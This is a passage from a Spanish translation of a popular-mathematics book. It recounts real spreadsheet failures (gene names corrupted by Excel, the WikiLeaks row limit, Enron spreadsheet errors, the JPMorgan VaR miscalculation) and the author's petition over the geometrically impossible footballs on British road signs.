ese.	He	 sobrepasado	 el	 límite	 de	mis	 conocimientos	 de	 biología	 intentando
buscar	incluso	temas	de	microbiología.)	A	ver,	la	respuesta	es	sí.	Los	biólogos
celulares	utilizan	mucho	el	Excel.

En	 2016,	 tres	 intrépidos	 investigadores	 de	 Melbourne	 analizaron
dieciocho	 revistas	 que	 habían	 publicado	 artículos	 relacionados	 con	 la
investigación	del	genoma	entre	2005	y	2015	y	encontraron	un	total	de	35.175
ficheros	 Excel	 disponibles	 públicamente	 asociados	 con	 3.597	 diferentes
artículos	 de	 investigación.	 Escribieron	 un	 programa	 para	 descargar
automáticamente	 los	 ficheros	 Excel,	 luego	 buscaron	 listas	 de	 nombres	 de
genes,	 vigilando	 lo	 casos	 en	 los	 que	 el	 Excel	 había	 «corregido
automáticamente»	los	nombres	transformándolos	en	otra	cosa.

Después	 de	 comprobar	 los	 archivos	 problemáticos	 manualmente	 para
eliminar	los	falsos	positivos,	los	investigadores	se	quedaron	con	987	hojas	de
cálculo	de	Excel	(de	704	diferentes	artículos	de	investigación)	que	contenían
errores	en	los	nombres	de	los	genes	introducidos	por	el	Excel.	En	su	muestra,
encontraron	que	el	19,6%	de	la	información	de	los	genes	recopilada	en	Excel
contenía	 errores.	 No	 estoy	 del	 todo	 seguro	 del	 impacto	 exacto	 de	 la
desaparición	 de	 nombres	 de	 genes	 de	 su	 base	 de	 datos,	 pero	 creo	 que
podemos	suponer	con	seguridad	de	que	no	es	algo	bueno.

Para	resolver	estos	problemas	primero	hay	que	averiguar	con	qué	tipo	de
datos	estamos	tratando.	Por	ejemplo,	22/12	podría	ser	un	número	(22	÷	12	=
1,833…),	un	dato	(22	de	diciembre)	o	un	 trozo	de	 texto	(solo	 los	caracteres
22/12).	 Por	 lo	 que	 una	 base	 de	 datos	 tiene	 que	 almacenar,	 además	 de	 los
datos,	 también	 metadatos,	 es	 decir,	 datos	 sobre	 los	 datos.	 Cada	 entrada,
además	de	tener	un	valor,	también	está	definida	como	un	tipo	de	dato.	Que	es
la	 razón	 por	 la	 que	 puedo	decir,	 de	 nuevo,	 que	 los	 números	 de	 teléfono	no
deberían	almacenarse	como	números.

En	Excel,	se	pueden	hacer	distinciones	parecidas,	pero	están	muy	lejos	de
ser	 intuitivas	 y	 de	 que	 sea	 fácil	 trabajar	 con	 ellas.	 La	 configuración
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predeterminada	de	una	nueva	hoja	de	cálculo	no	es	adecuada	cuando	se	trata
de	 investigación	 científica.	 Cuando	 apareció	 la	 investigación	 sobre	 la
autocorrección	de	genes,	a	Microsoft	le	preguntaron	su	opinión	y	un	portavoz
dijo:	«Excel	es	capaz	de	mostrar	datos	y	texto	de	muchas	maneras	diferentes.
Las	configuraciones	predeterminadas	están	pensadas	para	que	funcionen	en	la
mayoría	de	los	escenarios	cotidianos».

Una	gran	cita.	Viene	con	la	idea	implícita	de	que	«la	información	genética
no	 es	 un	 escenario	 cotidiano».	 (Como	 si	 fuera	 una	 exasperada	 enfermera
explicando	a	alguien	a	quien	 le	 faltan	varios	dedos	que	abrir	una	botella	de
cerveza	no	es	un	escenario	cotidiano	en	el	que	utilizar	un	hacha.)	Me	gusta
imaginar	 que	 el	 portavoz	 de	 Microsoft	 pronuncia	 su	 respuesta	 en	 una
conferencia	de	prensa	mientras	alguien	entre	bambalinas	tiene	que	contener	al
equipo	de	Microsoft	Access,	que	sí	que	es	un	sistema	de	gestión	de	bases	de
datos	de	verdad.	Se	pueden	oír	a	través	de	las	paredes	unos	llantos	apagados
que	 dicen:	 «Diles	 que	 utilicen	 una	 base	 de	 datos	 de	 verdad,	 COMO
ADULTOS».

El	final	de	la	hoja	de	cálculo

Otra	limitación	de	las	hojas	de	cálculo	como	bases	de	datos	es	que	tienen	un
final.	 De	 manera	 similar	 a	 lo	 que	 les	 ocurre	 a	 los	 ordenadores	 que	 tienen
problemas	para	hacer	un	seguimiento	del	tiempo	con	un	sistema	de	números
binarios	de	32	dígitos,	Excel	tiene	problemas	a	la	hora	de	llevar	un	registro	de
cuántas	filas	hay	en	una	hoja	de	cálculo.

En	 2010,	 WikiLeaks	 presentó	 al	 Guardian	 y	 a	 The	 New	 York	 Times
92.000	 informes	 de	 campo	 filtrados	 de	 la	 guerra	 de	 Afganistán.	 Julian
Assange	los	entregó	en	persona	en	las	oficinas	del	Guardian	en	Londres.	Los
periodistas	 confirmaron	 rápidamente	 que	 parecían	 ser	 reales,	 pero,	 para	 su
sorpresa,	 los	 informes	 acababan	 abruptamente	 en	 abril	 de	 2009,	 cuando
deberían	haber	cubierto	hasta	el	final	de	ese	año.

Lo	ha	adivinado:	Excel	contó	sus	filas	como	un	número	de	16	bits,	por	lo
que	existía	un	máximo	de	216	=	65.536	filas	disponibles.	Así	que,	cuando	los
periodistas	 abrieron	 los	 archivos	 en	 Excel,	 todos	 los	 datos	 después	 de	 las
primeras	65.536	entradas	desaparecieron.	Bill	Keller,	periodista	de	The	New
York	Times,	describió	la	reunión	secreta	en	la	que	se	descubrió	este	hecho	y
cómo	«Assange,	poniéndose	tranquilamente	en	el	papel	de	friki	de	la	oficina,
explicó	que	habían	alcanzado	los	límites	de	Excel».

Desde	 entonces,	 Excel	 se	 ha	 ampliado	 hasta	 un	 máximo	 de	 220	 =
1.048.576	 filas.	 ¡Pero	 eso	 sigue	 siendo	 un	 límite!	 Si	 entra	 en	 una	 tabla	 de
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Excel	y	desliza	el	cursor	hacia	abajo	puede	tener	la	sensación	de	que	seguirá
así	 para	 siempre,	 pero,	 si	 lo	 hace	 durante	 el	 tiempo	 suficiente,	 llegará
finalmente	al	 final	de	 la	hoja	de	cálculo.	Si	quiere	 llegar	hasta	el	vacío	que
hay	 después	 de	 las	 filas,	 puedo	 afirmar	 que	 se	 tarda	 unos	 diez	 minutos
desplazando	el	cursor	a	la	máxima	velocidad.

Contemple	el	espacio	vacío	que	hay	más	allá	del	final	del	mundo	Excel.

Cuando	la	hoja	de	cálculo	se	hace	pública

En	general,	hacer	cualquier	clase	de	trabajo	que	sea	importante	en	una	hoja	de
cálculo	 no	 es	 una	 buena	 idea.	 Son	 el	 entorno	 ideal	 para	 que	 se	 produzcan
errores	y	crezcan	descontroladamente.	El	European	Spreadsheet	Risks	Interest
Group	(sí,	es	una	organización	real	que	se	dedica	a	examinar	esos	momentos
en	los	que	las	hojas	de	cálculo	fallan)	calcula	que	más	del	90%	de	todas	las
hojas	de	cálculo	contiene	errores.	Alrededor	del	24%	de	las	hojas	de	cálculo
que	utilizan	fórmulas	contiene	un	error	matemático	en	sus	cálculos.

Son	 capaces	 de	 llegar	 a	 ese	 porcentaje	 tan	 curiosamente	 específico
porque,	 de	 forma	 ocasional,	 todas	 las	 hojas	 de	 cálculo	 de	 una	 compañía	 se
pueden	consultar.	La	doctora	Felienne	Hermans	es	una	profesora	asistente	en
la	Universidad	Tecnológica	de	Delft,	donde	dirige	su	laboratorio	de	Hojas	de
Cálculo.	Me	encanta	la	idea	de	que	exista	un	laboratorio	de	hojas	de	cálculo:
columnas	en	lugar	de	colimadores,	sentencias	If	en	lugar	de	incubadoras.	La
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doctora	 Hermans	 fue	 capaz	 de	 analizar	 uno	 de	 los	 corpus	 más	 grandes	 de
hojas	de	cálculo	del	mundo	real	que	jamás	se	haya	podido	conseguir.

Después	del	escándalo	Enron	de	2001,	la	Comisión	Federal	Reguladora	de
Energía	publicó	los	resultados	de	su	investigación	sobre	la	corporación	y	las
pruebas	 que	 tenían,	 que	 incluían	 alrededor	 de	 0,5	 millones	 de	 correos
electrónicos	internos	de	la	empresa.	Existía	cierta	preocupación	por	publicar
correos	 electrónicos	 de	 empleados	 que	 no	 tenían	 nada	 que	 ver	 con	 el
escándalo,	por	lo	que	la	versión	expurgada	que	actualmente	está	disponible	en
línea	ha	 tenido	en	cuenta	 las	preocupaciones	de	 los	empleados.	Proporciona
una	visión	fantástica	sobre	cómo	se	utiliza	el	correo	electrónico	en	el	interior
de	una	empresa	tan	grande.	Y,	por	supuesto,	se	enviaban	un	montón	de	hojas
de	cálculos	como	archivos	adjuntos.

Hermans	 y	 sus	 colegas	 revisaron	 el	 archivo	 que	 contenía	 los	 correos
electrónicos	 y	 fueron	 capaces	 de	 reunir	 un	 conjunto	 de	 15.770	 hojas	 de
cálculo	y	68.979	correos	electrónicos	relacionados	con	esas	hojas	de	cálculo.
Hay	algo	de	sesgo	en	la	selección	porque	esas	hojas	de	cálculo	procedían	de
una	empresa	que	estaba	siendo	 investigada	por	deficiencias	en	sus	 informes
financieros,	 lo	 cual	 es	 vergonzoso.	 Pero	 seguía	 constituyendo	 un	 ejemplo
increíble	sobre	cómo	se	utilizan	las	hojas	de	cálculo	en	el	mundo	real,	al	igual
que	 sobre	 la	 forma	 en	 la	 que	 esos	 correos	 electrónicos	 que	 contienen	 esas
hojas	de	cálculo	se	trataban,	pasaban	de	una	persona	a	otra	y	se	actualizaban.
Esto	es	lo	que	descubrió	Hermans:

La	hoja	de	cálculo	promedio	tenía	un	tamaño	de	113,4	kilobytes.
La	 hoja	 de	 cálculo	 más	 grande	 ocupaba	 unos	 impresionantes	 41
megabytes.	 (Supongo	que	debía	de	 ser	una	 invitación	de	cumpleaños
con	 archivos	 de	 sonido	 y	 gifs	 animados	 incrustados.	Me	 estremezco
solo	con	pensarlo.)
Por	término	medio,	cada	hoja	de	cálculo	contenía	5,1	hojas	de	trabajo.
¡Una	 hoja	 de	 cálculo	 contenía	 175	 hojas	 de	 trabajo!	 Incluso	 yo	 creo
que	es	demasiado	y	que	necesitarían	SQL.
Las	hojas	de	cálculo	tenían	un	promedio	de	6.191	celdas	ocupadas,	de
las	 cuales	1.286	eran	 fórmulas	 (por	 lo	que	 el	 20,8%	de	 las	 celdas	 se
utilizaban	para	fórmulas	con	las	que	realizar	un	cálculo	o	para	mover
datos).
6.650	 hojas	 de	 cálculo	 (el	 42,2%)	 no	 contenían	 ninguna	 fórmula.
¡Anda	ya!	¿Entonces	para	qué	utilizar	una	hoja	de	cálculo?

La	 cosa	 se	 pone	 interesante	 cuando	 investigamos	 por	 qué	 estas	 hojas	 de
cálculo	 fallaron.	 Las	 6.650	 hojas	 de	 cálculo	 sin	 fórmulas	 se	 utilizaban
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básicamente	 como	 simples	 documentos	 de	 texto	 en	 los	 que	 se	 listaban
números,	así	que	 las	 ignoraré.	Solo	me	 interesan	 las	hojas	de	cálculo	en	 las
que	 se	 utilizan	 matemáticas	 que	 puedan	 salir	 mal.	 Por	 lo	 que	 nos	 quedan
9.120	hojas	de	cálculo	que	contienen	20.277.835	fórmulas.

Excel	 posee	 una	 buena	 capa	 de	 prevención	 de	 errores	 cuando	 alguien
teclea	 una	 fórmula:	 comprueba	 que	 toda	 la	 sintaxis	 sea	 correcta.	 En	 la
programación	 informática	 habitual,	 puedes	 dejarte	 un	 corchete	 sin	 cerrar	 en
cualquier	 parte	 u	 olvidarte	 colocar	 una	 coma.	Lo	 que	 provoca	 que	 jures	 en
hebreo	 en	 voz	 alta	 a	 las	 tres	 de	 la	 madrugada	 («¿Qué	 diablos	 hace	 esto
aquí?»),	 o	 eso	 es	 lo	 que	 me	 han	 contado.	 Excel	 al	 menos	 realiza	 una
verificación	rápida	para	ver	que	toda	la	puntuación	es	correcta.

Pero	 Excel	 no	 puede	 asegurar	 que	 el	 usuario	 utilice	 las	 funciones
adecuadas	o	señale	las	celdas	correctas	en	las	que	incluir	los	datos	apropiados
a	los	que	aplicará	las	fórmulas.	En	esos	casos,	ejecuta	el	comando	y	muestra
un	 mensaje	 de	 error	 solo	 si	 las	 matemáticas	 están	 totalmente	 equivocadas.
#NUM!	significa	que	se	ha	introducido	una	forma	errónea	de	dato	numérico;
#NULL!	 significa	 que	 el	 rango	 de	 los	 datos	 introducidos	 no	 está
correctamente	definido.	Y	luego	está	mi	favorito,	#DIV/0!,	que	aparece	ante
cualquier	intento	de	dividir	por	cero.

Hermans	descubrió	que	2.205	hojas	de	cálculo	tenían	uno	o	más	mensajes
de	error	de	Excel.	Lo	que	significa	que	alrededor	del	24%	de	todas	las	hojas
de	cálculo	que	contenían	 fórmulas	contenían	un	error.	Y	esos	errores	 tenían
compañía:	 las	 hojas	 de	 cálculo	 susceptibles	 de	 contener	 errores	 tenían	 una
media	 de	 585,5	 errores	 cada	 una[5].	 Nada	menos	 que	 755	 hojas	 de	 cálculo
tenían	más	de	cien	errores,	y	la	que	quedó	en	primer	lugar	en	esa	clasificación
totalizó	83.273	errores.	Llegados	a	este	punto,	estoy	realmente	impresionado.
Yo	no	podría	cometer	todos	esos	errores	sin	una	hoja	de	cálculo	aparte	en	la
que	irlos	registrando.

Pero	 este	 es	 solo	 un	 subconjunto	 de	 errores	 de	 las	 hojas	 de	 cálculo:	 los
obvios.	 Muchos	 otros	 errores	 que	 se	 cometen	 con	 las	 fórmulas	 no	 son
contabilizados.	 Sin	 un	 profundo	 conocimiento	 de	 qué	 es	 lo	 que	 el	 usuario
estaba	intentando	hacer	en	primer	lugar,	no	existe	un	modo	sencillo	de	revisar
las	 hojas	 de	 cálculo	 y	 asegurarse	 de	 que	 todas	 las	 fórmulas	 están	 donde
deberían	 estar.	 Puede	 que	 este	 sea	 su	mayor	 problema.	 Es	 fácil	 seleccionar
por	 error	 la	 columna	 equivocada	 y,	 de	 repente,	 el	 dato	 procede	 del	 año
equivocado	o	es	bruto	en	lugar	de	neto	(¡un	dato	bruto,	nunca	mejor	dicho!).

Esto	 puede	 acarrear	 problemas	 de	 verdad.	 En	 2012,	 la	 Oficina	 de
Educación	del	Estado	de	Utah	calculó	erróneamente	su	presupuesto	por	valor
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de	25	millones	de	dólares	por	algo	que	el	 superintendente	del	estado,	Larry
Shumway,	 llamó	 «referencia	 errónea»	 en	 una	 hoja	 de	 cálculo.	 En	 2011,	 el
pueblo	de	West	Baraboo,	en	Wisconsin,	calculó	erróneamente	cuánto	costaría
su	préstamo	por	400.000	dólares	porque	en	un	 rango	 se	habían	olvidado	de
una	celda	importante.

Esos	 son	 solo	 los	 errores	 sencillos	 que	 se	 descubrieron.	 No	 es
coincidencia	 que	 ambos	 correspondan	 a	 entidades	 públicas	 de	 Estados
Unidos;	 tienen	 una	 responsabilidad	 con	 el	 público	 y	 no	 pueden	 ocultar
grandes	 errores	 debajo	 de	 la	 alfombra.	 Solo	 Dios	 sabe	 cuántos	 errores
menores	hay	en	las	complejas	redes	de	fórmulas	que	existen	en	las	hojas	de
cálculo	de	 las	empresas.	Una	hoja	de	cálculo	de	Enron	 tenía	una	cadena	de
1.205	 celdas	 cuyos	 datos	 provenían	 directamente	 de	 la	 celda	 contigua	 (con
una	 red	 más	 amplia	 de	 2.401	 celdas	 que	 recogían	 los	 datos	 de	 ellas
indirectamente).	 Un	 error	 en	 la	 celda	 más	 débil	 y	 todo	 el	 entramado	 se
desmorona.

Así	hasta	que	llegamos	al	«control	de	versiones»,	que	significa	asegurarse
de	que	todos	saben	cuál	es	 la	versión	más	actualizada	de	la	hoja	de	cálculo.
De	 los	68.979	correos	electrónicos	de	Enron	 sobre	hojas	de	cálculo,	14.084
eran	 sobre	 qué	 versión	 de	 una	 hoja	 de	 cálculo	 estaba	 utilizando	 la	 gente.
Pondré	 un	 ejemplo	 de	 eso	 funcionando	mal	 en	 el	mundo	 real.	 En	 2011,	 el
condado	 de	 Kern,	 en	 California,	 se	 olvidó	 de	 pedir	 a	 una	 compañía	 12
millones	de	euros	en	impuestos	porque	utilizaban	la	versión	incorrecta	de	una
hoja	de	cálculo,	 en	 la	que	 faltaban	1.260	millones	en	bienes	productores	de
petróleo	y	gas.

Excel	es	muy	bueno	a	 la	hora	de	hacer	un	montón	de	cálculos	de	forma
simultánea	y	analizando	datos	de	tamaño	medio.	Pero	cuando	se	utiliza	para
realizar	cálculos	grandes	y	complejos	a	lo	largo	de	un	rango	amplio	de	datos,
es	 simplemente	 demasiado	 opaco	 respecto	 a	 la	 forma	 en	 la	 que	 realiza	 los
cálculos.	Los	cálculos	para	el	rastreo	de	datos	y	la	comprobación	de	errores	se
convierten	en	una	tarea	larga	y	tediosa	en	una	hoja	de	cálculo.	Se	puede	decir
que	casi	todos	mis	ejemplos	son	el	resultado	de	haber	obviado	un	sistema	más
apropiado	 en	 favor	 de	 Excel,	 el	 cual	 es,	 afrontémoslo,	 barato	 y	 se	 puede
adquirir	fácilmente.

Una	advertencia	final	de	economía.	En	2012	JPMorgan	Chase	perdió	un
montón	de	dinero;	es	difícil	hacerse	una	idea,	pero	el	consenso	general	es	que
fueron	alrededor	de	6.000	millones.	Como	suele	ocurrir	 en	el	mundo	de	 las
finanzas	modernas,	existen	un	montón	de	aspectos	complicados	sobre	cómo
se	hizo	la	negociación	y	cómo	se	estructuró	(nada	de	lo	cual	entiendo).	Pero	la
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cadena	 de	 errores	 incluía	 algún	 serio	 abuso	 de	 las	 hojas	 de	 cálculo,
incluyendo	el	cálculo	de	cuán	grande	era	el	riesgo	y	de	cómo	se	registraban
las	pérdidas.	Un	cálculo	de	un	Valor	en	Riesgo	(VaR	por	sus	siglas	en	inglés)
da	a	los	operadores	una	idea	de	lo	grande	que	es	el	riesgo	y	limita	los	tipos	de
operaciones	 que	 son	 permitidas	 dentro	 de	 la	 política	 de	 riesgos	 de	 la
compañía.	 Pero	 cuando	 el	 riesgo	 es	 subestimado	 y	 el	 mercado	 empeora
seriamente,	se	puede	perder	una	gran	suma	de	dinero.

Resulta	 asombroso	 que	 un	 cálculo	 específico	 del	 Valor	 en	 Riesgo	 se
realizara	 en	 una	 serie	 de	 hojas	 de	 cálculo	 de	 Excel	 en	 la	 que	 los	 valores
debían	ser	copiados	entre	ellas	de	manera	manual.	Me	da	la	impresión	de	que
era	un	modelo	para	calcular	el	riesgo	que	se	puso	a	disposición	para	su	uso	sin
haberlo	 convertido	 en	 un	 sistema	 real	 para	 el	 cálculo	 de	 modelos
matemáticos.	Y	se	acumularon	suficientes	errores	en	las	hojas	de	cálculo	que
hicieron	 que	 se	 subestimara	 el	 VaR.	 Una	 sobrestimación	 del	 riesgo	 habría
significado	que	 se	 habría	 preservado	más	dinero	del	 que	 se	 puso	 a	 salvo,	 y
dado	 que	 estaría	 limitando	 las	 operaciones,	 habría	 provocado	 que	 alguien
investigara	 qué	 estaba	 sucediendo.	 Una	 subestimación	 del	 VaR	 permitió
sigilosamente	que	la	gente	arriesgara	más	y	más	dinero.

Pero	 seguro	 que	 estas	 pérdidas	 llamaron	 la	 atención	 de	 alguien.	 Los
operadores	 ponían	 «notas»	 a	 las	 posiciones	 de	 su	 portafolio	 para	 indicar	 lo
bien	o	mal	que	 lo	 estaban	haciendo.	Dado	que	 las	 sesgaban	para	minimizar
cualquier	cosa	que	fuera	mal,	el	Grupo	de	Control	de	Valoración	(VCG	por
sus	siglas	en	 inglés)	estaba	para	vigilar	 las	notas	y	compararlas	con	el	 resto
del	 mercado.	 Excepto	 que	 lo	 hicieron	 con	 hojas	 de	 cálculo	 que	 contenían
algunos	 errores	 metodológicos	 y	 matemáticos	 graves.	 Fue	 tan	 mal	 que	 un
empleado	 empezó	 su	 propia	 hoja	 de	 cálculo	 paralela	 para	 intentar	 hacer	 un
seguimiento	de	los	beneficios	y	pérdidas	reales.

Finalmente,	 el	Equipo	de	Tareas	 de	Gestión	de	 JPMorgan	Chase	&	Co.
presentó	 un	 informe	 sobre	 todo	 este	 follón.	 Estas	 son	 mis	 frases	 favoritas
sobre	lo	que	ocurrió:

Esta	persona	realizó	inmediatamente	ciertos	ajustes	a	las	fórmulas	de	las	hojas	de	cálculo	que
utilizaba.	 Estos	 cambios,	 que	 no	 estaban	 sujetos	 a	 un	 proceso	 de	 evaluación	 riguroso,
introdujeron	 inadvertidamente	 dos	 errores	 de	 cálculo,	 cuyo	 efecto	 fue	 la	 subestimación	 de	 la
diferencia	entre	el	precio	medio	VCG	y	las	notas	de	los	operadores	(pág.	56).

Concretamente,	después	de	restar	la	tasa	antigua	de	la	nueva,	la	hoja	de	cálculo	dividió	por	su
suma	 en	 lugar	 de	 por	 su	media,	 tal	 como	 el	 programador	 pretendía.	 Este	 error	 seguramente
provocó	que	se	redujera	la	volatilidad	a	la	mitad	y	disminuyese	el	VaR	(pág.	128).
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Me	parece	 increíble.	Se	perdieron	miles	de	millones	de	dólares	en	parte
porque	alguien	 sumó	dos	números	 en	 lugar	de	hacer	 la	media.	Una	hoja	de
cálculo	tiene	un	aspecto	que	hace	que	parezca	que	todos	los	cálculos	que	se
han	 realizado	 son	 serios	 y	 rigurosos.	 Pero	 solo	 son	 tan	 fiables	 como	 las
fórmulas	que	hay	bajo	su	superficie.

Recopilar	 y	 trabajar	 con	 los	 datos	 puede	 ser	 más	 complicado,	 y	 más
costoso,	de	lo	que	la	gente	espera.
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Cuatro

MALA	FORMA
La	 geometría	 de	 las	 pelotas	 de	 fútbol	 en	 las	 señales	 viales	 de	 las	 calles	 de
Gran	 Bretaña	 es	 errónea.	 Puede	 que	 parezca	 algo	 intrascendente,	 pero	 me
molesta.

Si	observa	el	diseño	clásico	de	una	pelota	de	fútbol,	comprobará	que	tiene
veinte	hexágonos	blancos	y	doce	pentágonos	negros.	Pero	en	las	placas	de	las
calles	de	Gran	Bretaña	que	indican	un	campo	de	fútbol,	la	pelota	está	formada
únicamente	por	hexágonos.	¡No	hay	pentágonos!	Los	pentágonos	oscuros	han
sido	reemplazados	por	hexágonos.	Quienquiera	que	lo	haya	diseñado	no	se	ha
molestado	 en	 comprobar	 cómo	 es	 una	 pelota	 de	 fútbol	 de	 verdad.	 Así	 que
escribí	al	gobierno.

O,	más	concretamente,	 inicié	una	petición	parlamentaria.	Se	trata	de	una
petición	oficial	que	requiere	de	un	trámite,	pero	que	te	garantiza	una	respuesta
del	 gobierno	 si	 obtienes	 10.000	 firmas.	Mi	 primera	 solicitud	 no	 tuvo	 éxito
porque	el	comité	dijo,	y	cito	sus	palabras:	«Creemos	que	lo	más	seguro	es	que
usted	esté	bromeando».	Tuve	que	responder	para	argumentar	mi	petición:	mi
queja	sobre	una	geometría	precisa	era	seria.	Finalmente,	el	gobierno	británico
estuvo	de	acuerdo	en	que	no	se	trataba	de	una	broma	y	aceptó	la	petición.

Resulta	que	yo	no	era	la	única	persona	a	quien	molestaba	que	el	dibujo	de
la	 pelota	 en	 las	 señales	 de	 tráfico	 fuera	 incorrecto.	 La	 petición	 apareció	 en
diversos	periódicos	de	tirada	nacional	y	en	cadenas	de	radio.	Hasta	entonces,
nunca	había	aparecido	en	la	sección	de	deportes	de	las	noticias	de	la	BBC.	Me
invitaron	a	diferentes	programas	deportivos	en	los	que	me	pasé	mucho	tiempo
diciendo	cosas	como	«un	pentágono	 tiene	cinco	 lados,	pero	 si	 se	 fija	 en	 las
señales,	todas	las	formas	son	hexágonos,	con	seis	lados».	Básicamente,	estaba
argumentando	que	cinco	es	un	número	diferente	a	seis.	¿He	mencionado	que
tengo	 un	 puesto	 en	 la	 institución	 académica	 Queen	 Mary	 University	 de
Londres	 como	 su	 enlace	 público	 para	 la	 divulgación	 de	 las	 matemáticas?
Deben	de	estar	orgullosos.
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Una	pelota	de	fútbol	y,	no	sé,	¿puede	que	una	señal	de	tráfico	que	indique	la	presencia	de	una
colmena?

Pero	 no	 le	 gustó	 a	 todo	 el	mundo.	A	 algunas	 personas	 les	molestó	 que
estuviera	 pidiendo	 al	 gobierno	 que	 hiciera	 algo	 en	 lo	 que	 no	 creían
personalmente.	 Dejé	muy	 claro	 que	 no	 quería	 cambiar	 las	 antiguas	 señales
(puedo	 entender	 que	 se	 podría	 considerar	 un	mal	 uso	 de	 los	 fondos	 de	 los
contribuyentes).	Solo	quería	que	actualizaran	el	Instrumento	Legislativo	2016
n.º	362,	Lista	12,	parte	15,	símbolo	38	(¡Hice	mis	deberes!	Ya	les	dije	que	iba
en	serio)	para	que	de	aquí	en	adelante	las	siguientes	señales	fueran	correctas.
Pero	eso	no	fue	suficiente	para	complacer	a	muchas	personas.
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En	 mis	 entrevistas	 dejé	 muy	 claro	 que	 las	 pelotas	 incorrectas	 que
aparecían	en	las	señales	no	eran	el	asunto	más	apremiante	al	que	se	tenía	que
enfrentar	 la	 sociedad.	Pero	solo	porque	 también	crea	que	debemos	 financiar
adecuadamente	 la	 sanidad	 pública,	 la	 educación	 y	 muchas	 más	 cosas	 no
significa	que	no	pueda	hacer	campaña	también	por	cosas	triviales.	La	esencia
de	mi	protesta	era	que	existe	un	sentimiento	generalizado	en	 la	 sociedad	de
que	las	matemáticas	no	son	importantes,	que	no	pasa	nada	por	no	ser	bueno
en	ellas.	Pero	una	gran	parte	de	nuestra	economía	y	tecnología	requieren	de	la
participación	de	personas	que	son	buenas	en	matemáticas.

Creo	que	el	hecho	de	que	el	gobierno	reconozca	que	existe	una	diferencia
entre	un	hexágono	y	un	pentágono	aumentaría	 la	concienciación	pública	del
valor	que	le	deberíamos	dar	a	las	matemáticas	y	a	la	educación.	¡Un	cinco	no
es	un	seis!

Y	para	que	conste,	las	señales	son	superincorrectas.
No	era	solo	un	dibujo	de	un	tipo	diferente	de	pelota:	es	que	jamás	podía

ser	 una	 pelota.	 Suena	 como	 un	 gran	 postulado:	 nunca	 podrás	 construir	 una
pelota	a	base	de	hexágonos.	Pero	puedo	afirmar	con	una	completa	seguridad
matemática	 que	 es	 imposible	 crear	 una	 pelota	 únicamente	 a	 partir	 de
hexágonos,	 incluso	 si	 son	 hexágonos	 deformados.	 Es	 posible	 demostrar
matemáticamente	 que	 la	 imagen	 que	 aparece	 en	 las	 señales	 viarias	 jamás
podría	 ser	 una	 pelota.	 Existe	 algo	 llamado	 característica	 de	 Euler	 de	 una
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superficie	 y	 describe	 el	 patrón	 existente	 detrás	 del	 modo	 en	 que	 diferentes
formas	2D	se	pueden	reunir	para	crear	una	forma	3D.	En	pocas	palabras,	una
pelota	 tiene	 una	 característica	 de	 Euler	 de	 dos	 y	 los	 hexágonos	 no	 pueden
crear	una	forma	por	sí	mismos	que	tenga	una	característica	de	Euler	de	más
de	cero.

¿Quién	se	apunta	a	un	partido	con	una	pelotarosquilla	geométricamente	verosímil?

Existen	diferentes	 formas	que	 tienen	una	característica	de	Euler	de	cero,
como	 los	 toros.	 Así	 que,	 aunque	 no	 se	 puede	 crear	 una	 pelota	 a	 partir	 de
hexágonos,	 lo	 que	 sí	 puede	 crear	 es	 una	 pelota-rosquilla.	 Los	 hexágonos
también	 funcionan	 para	 crear	 una	 superficie	 plana	 o	 un	 cilindro.	Un	 amigo
mío	(con	mucha	gracia)	me	compró	un	par	de	calcetines	para	 jugar	a	 fútbol
porque	 tenían	el	clásico	diseño	a	base	de	pelotitas	 formadas	por	hexágonos,
pero,	 dado	 que	 un	 calcetín	 (ignorando	 la	 puntera)	 es	 un	 cilindro,	 se	 puede
aceptar.	Su	gesto	fue	a	la	vez	genial	y	cruel;	los	calcetines	estaban	al	mismo
tiempo	 bien	 hechos	 y	 mal	 hechos.	 Nunca	 me	 he	 sentido	 tan	 incómodo
respecto	a	un	par	de	calcetines	de	deporte	desde	las	clases	de	educación	física
de	noveno	curso.
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Yo	los	describo	como	mis	«calcetines	planos».

Esto	 no	 excluye	 la	 posibilidad	 de	 que	 las	 señales	 viales	 muestren	 una
forma	exótica	que	parecen	ser	hexágonos	en	el	lado	que	mira	hacia	nosotros,
pero	que	tenga	otras	formas	locas	en	su	parte	trasera.	Después	de	quejarme	de
esto	 a	 través	 de	 internet,	 algunas	 personas	 representaron	 esas	 formas	 locas
creyendo	erróneamente	que	me	harían	sentir	mejor.	Aprecio	el	esfuerzo.	Pero
no	lo	consiguieron.

Y,	 con	 todo	 esto,	 la	 gente	 iba	 firmando	 la	 petición,	 y	 poco	 después	 ya
había	 llegado	 a	 las	 diez	 mil	 firmas	 requeridas	 y	 empecé	 a	 esperar
ansiosamente	la	respuesta	del	gobierno.

Cuando	llegó,	no	fueron	buenas	noticias:

Cambiar	 el	 diseño	 para	 que	 este	muestre	 una	 geometría	 precisa	 no	 es	 pertinente	 en	 este
contexto.

Gobierno	del	Reino	Unido,	Departamento	de	Transporte

Rechazaron	 mi	 solicitud.	 ¡Con	 una	 respuesta	 bastante	 desdeñosa!
Alegaron	 que:	 1.	 la	 geometría	 correcta	 sería	 algo	 tan	 sutil	 que	 «no	 se
percatarían	de	ello	la	mayoría	de	los	conductores»,	y	2.	distraería	tanto	a	los
conductores	que	podría	«incrementar	el	riesgo	de	accidentes».

Y	 me	 dio	 la	 impresión	 de	 que	 ni	 siquiera	 se	 habían	 leído	 la	 petición
adecuadamente.	 A	 pesar	 de	 que	 solo	 pedía	 que	 se	 cambiaran	 las	 señales
nuevas,	 finalizaban	 su	 respuesta	 con:	 «Además,	 la	 financiación	 pública
necesaria	 para	 cambiar	 en	 todo	 el	 país	 las	 señales	 en	 las	 que	 aparece	 una
pelota	sería	una	carga	financiera	irracional	para	las	autoridades	locales».
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Así	que	las	señales	siguen	siendo	incorrectas.	Pero,	al	menos,	ahora	tengo
una	carta	del	gobierno	del	Reino	Unido	en	 la	que	 se	dice	que	no	creen	que
unas	matemáticas	precisas	sea	algo	importante	y	que	no	creen	que	las	señales
viarias	tengan	que	seguir	las	leyes	de	la	geometría.

Cálculos	erróneos

Hay	más	 de	 una	 forma	 de	 cometer	 un	 error	 geométrico.	 Para	mí,	 la	menos
interesante	 es	 cuando	 la	 teoría	 geométrica	 está	 bien	 fundamentada,	 pero
alguien	 realiza	 mal	 un	 cálculo	 a	 la	 hora	 de	 realizar	 el	 trabajo	 (aunque	 esa
clase	de	errores	puede	tener	algunas	consecuencias	muy	espectaculares).

En	 1980,	 la	 compañía	 petrolera	 Texaco	 estaba	 llevando	 a	 cabo	 unas
prospecciones	 petrolíferas	 en	 el	 lago	 Peigneur,	 en	 Luisiana.	 Habían
